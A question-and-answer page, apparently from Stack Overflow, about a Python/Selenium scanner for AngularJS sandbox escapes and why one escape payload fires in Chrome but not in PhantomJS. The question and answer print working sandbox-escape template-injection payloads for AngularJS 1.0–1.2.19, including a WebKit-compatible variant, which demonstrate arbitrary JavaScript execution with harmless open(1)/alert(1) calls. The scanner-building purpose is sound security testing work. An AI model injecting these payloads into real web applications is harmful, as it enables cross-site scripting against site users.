Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Weird JavaScript behavior in PhantomJS/WebKit

I am building an application in Python that checks if a certain web application is vulnerable for an AngularJS Sandbox Escape/Bypass.

Here is how it works.

My app starts a local web server (http://localhost) using the following content.

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

The Sandbox Escape payload I am using is {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}, which should open a new window due to the open(1) call.

After starting the web server it uses Selenium (with PhantomJS as driver) to check if a new window opened due to the AngularJS Sandbox Escape.

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

The problem I'm facing

PhantomJS does not open a new window. When I navigate to http://localhost using Google Chrome it does open a new window.

Here is the PhantomJS console log (containing two errors):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

And this is the Google Chrome console log (throws an error but does open a new window):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

Some other AngularJS Sandbox Escape payloads work without any problems. For example the payload below (for AngularJS version 1.0.0 to 1.1.5) opens a new window in Chrome aswell as PhantomJS.

{{constructor.constructor('open(1)')()}}

I hope someone will be able to help me fix this issue so that I can detect if the payload executed succesfully.

Please note that I am using open(1) instead of alert(1) since it's not possible to detect alerts in PhantomJS.

Thanks in advance.


Update 1:

This is a JSFiddle that works in Google Chrome, but does not work in PhantomJS. I am looking for a solution (maybe a change in the payload or the PhantomJS settings or something) so that the payload also triggers in PhantomJS.

https://jsfiddle.net/x90ey5fa/

Update 2:

I found out it's not related to AngularJS. The JSFiddle below contains 4 lines of JavaScript which work in Google Chrome but do not work in PhantomJS. I also attached the console log from PhantomJS.

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

Version details:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)

like image 221
Tijme Avatar asked Jul 30 '17 16:07

Tijme


1 Answers

Your Safari error is very illuminating (and I am kicking myself for not reading it more closely). Observe:

Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.

This parameter declaration part is important.

What the payload does is

  1. Set c to the toString constructor, Function (which creates functions)
  2. Redirects the Function prototype's toString method to call
  3. Sorts the array using c, thus creating a new function via Function("a", "open(1)")
  4. I'm not sure why, but the result of this sort is converted to string via toString, which has been redirected to call, resulting in calling the new function, which calls open(1)

That is how it works in Chrome, anyway. However .sort() does not necessarily work the same way in all browsers. It's just supposed to sort things... so why does it matter what order it looks at items? After all, the function passed should make sure that everything comes out in the right order anyway.

As MDN says, the syntax for Function is

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit is sorting it "backwards", so instead of calling Function("a", "open(1)"), it makes the call be Function("open(1)", "a"). When multiple arguments are given, the last one is assumed to be the function body and all the rest are interpreted as arguments. This is why you're getting the unexpected token. Parenthesis are not a valid part of a parameter name.

Here is an alternative:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

I tested it in my QtWebKit-based browser and it worked. Of course it will also cause a SyntaxError on Chrome because the arguments are "backwards"...


The below are several attempts to get this to work seamlessly in Angular both on PhantomJS and Chrome. Again, these do not work. I'm leaving these here in case they inspire someone to create a more complete solution.

Works on PhantomJS and Chrome but not with Angular (due to the function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Works with Angular on Chrome, but not PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
like image 196
Andrew Myers Avatar answered Nov 15 '22 00:11

Andrew Myers